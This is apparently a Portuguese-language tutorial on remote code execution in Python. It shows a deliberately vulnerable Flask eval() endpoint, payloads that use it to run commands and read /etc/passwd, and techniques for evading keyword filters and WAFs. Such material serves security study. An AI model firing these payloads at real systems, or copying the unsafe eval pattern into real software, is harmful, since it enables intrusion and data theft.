Exploração de Vulnerabilidades de Execução Remota de Código em Python

A exploração de vulnerabilidades de Execução Remota de Código (RCE) em ambientes Python difere de outras linguagens, como PHP, principalmente nas funções e módulos utilizados para interagir com o sistema operacional e executar código dinâmico. Abordaremos os principais vetores e módulos que permitem a execução de coamndos do sistema e avaliação de strings como código.

Módulo os

O módulo os fornece interfaces para interagir com o sistema operacional. Duas funções são frequentemente exploradas para execução de comandos:

1. os.system: Executa um comando no subshell do sistema. O ponto fraco é que ele apenas retorna o código de saída (0 para sucesso, valores diferentes de zero para falha), sem capturar a saída padrão (stdout).

import os

# Executa o comando e imprime a saída diretamente no terminal
exit_code = os.system('uname -a')
print(f"Código de saída: {exit_code}")

2. os.popen: Abre um pipe para o comando, permitindo capturar a saída do processo como um objeto de arquivo.

import os

# Captura a saída do comando de listagem de diretórios
process_pipe = os.popen('ls -la')
command_output = process_pipe.read()
print(command_output)

Módulo subprocess

O módulo subprocess é a abordagem moderna e recomendada para spawnar novos processos, sendo mais robusto e seguro que o módulo os.

1. subprocess.run: A função principal para executar comandos. O primeiro agrumento deve ser uma lista contendo o executável e seus argumentos.

import subprocess

# Executa 'id' e captura a saída
result = subprocess.run(['id', '-u'], capture_output=True, text=True)
print(result.stdout.strip())

Nota: No Windows, comandos internos do shell como dir não são executáveis independentes. Para usá-los, é necessário definir shell=True, o que permite passar o comando como uma string única.

import subprocess

# Uso do parâmetro shell=True para executar comandos internos
result = subprocess.run("whoami", shell=True, capture_output=True, text=True)
print(result.stdout)

Parâmetros úteis do run:

  • capture_output=True: Captura stdout e stderr.
  • text=True: Decodifica a saída de bytes para string.
  • timeout: Define um limite de tempo; levanta TimeoutExpired se excedido.
  • check=True: Levanta CalledProcessError se o código de retorno for diferente de zero.

2. subprocess.getoutput: Executa o comando via shell e retorna a saída combinada (stdout e stderr) como uma string.

import subprocess

# Captura a saída sem imprimir no terminal durante a execução
output_data = subprocess.getoutput("cat /etc/hostname")
print(output_data)

3. subprocess.check_output: Similar ao run, mas focado em retornar a saída do comando. Levanta uma exceção se o comando falhar.

import subprocess

# Retorna a saída decodificada
output_bytes = subprocess.check_output("echo 'test'", shell=True)
print(output_bytes.decode('utf-8'))

Função send_file no Flask

Em aplicações web construídas com Flask, a função send_file é utilizada para enviar arquivos específicos ao cliente. Se o caminho do arquivo for controlado pelo usuário, pode levar a vulnerabilidades de Leitura Arbitrária de Arquivos (Arbitrary File Read).

from flask import Flask, send_file

app = Flask(__name__)

@app.route('/download')
def download_document():
    # Caminho hardcoded para demonstração
    file_path = '/var/www/html/documents/report.pdf'
    return send_file(file_path, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Execução Dinâmica com eval e exec

As funções embutidas eval() e exec() permitem a execução de strings como código Python. A diferença crucial é que eval() avalia uma única expressão e retorna seu resultado, enquanto exec() executa blocos de código e não retorna valor.

Exemplo de aplicação Flask vulnerável:

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/api/evaluate')
def evaluate_expression():
    user_input = request.args.get('expr')
    if not user_input:
        return jsonify({"error": "Missing expression"}), 400
    
    # Vulnerabilidade: execução de código arbitrário
    evaluated_result = eval(user_input)
    return jsonify({"result": str(evaluated_result)})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Payloads de exploração para o endpoint acima:

# Leitura de arquivo usando os.popen
?expr=__import__('os').popen('cat /etc/passwd').read()

# Execução via subprocess.run
?expr=__import__('subprocess').run(['id'], capture_output=True, text=True).stdout

# Uso de getoutput
?expr=__import__('subprocess').getoutput('ls -l /')

# Leitura de arquivo via Flask send_file (se importado no escopo)
?expr=send_file('/etc/hostname')

O uso de __import__('module_name') é uma técnica comum para importar módulos dinamicamente dentro de uma expressão eval, contornando a falta de imports no escopo global.

Técnicas de Evasão de Filtros

Quando palavras-chave como os, system ou popen são bloqueadas por WAFs ou filtros de aplicação, é possível utilizar concatenação de strings ou funções de reflexão para evadir as restrições.

import os

# 1. Concatenação de strings para evadir filtros estáticos
# Aplicável em eval: eval("__import__('os').sys" + "tem('id')")

# 2. Uso de getattr para acesso dinâmico a atributos e métodos
command_exec = getattr(os, "sys" + "tem")
command_exec("whoami")

# 3. Manipulação de dicionários de classes e built-ins (exemplo avançado)
# Acessando o módulo os através da classe base object
().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['system']('id')

Tags: Python RCE Flask subprocess os

Publicado em 7-13 02:37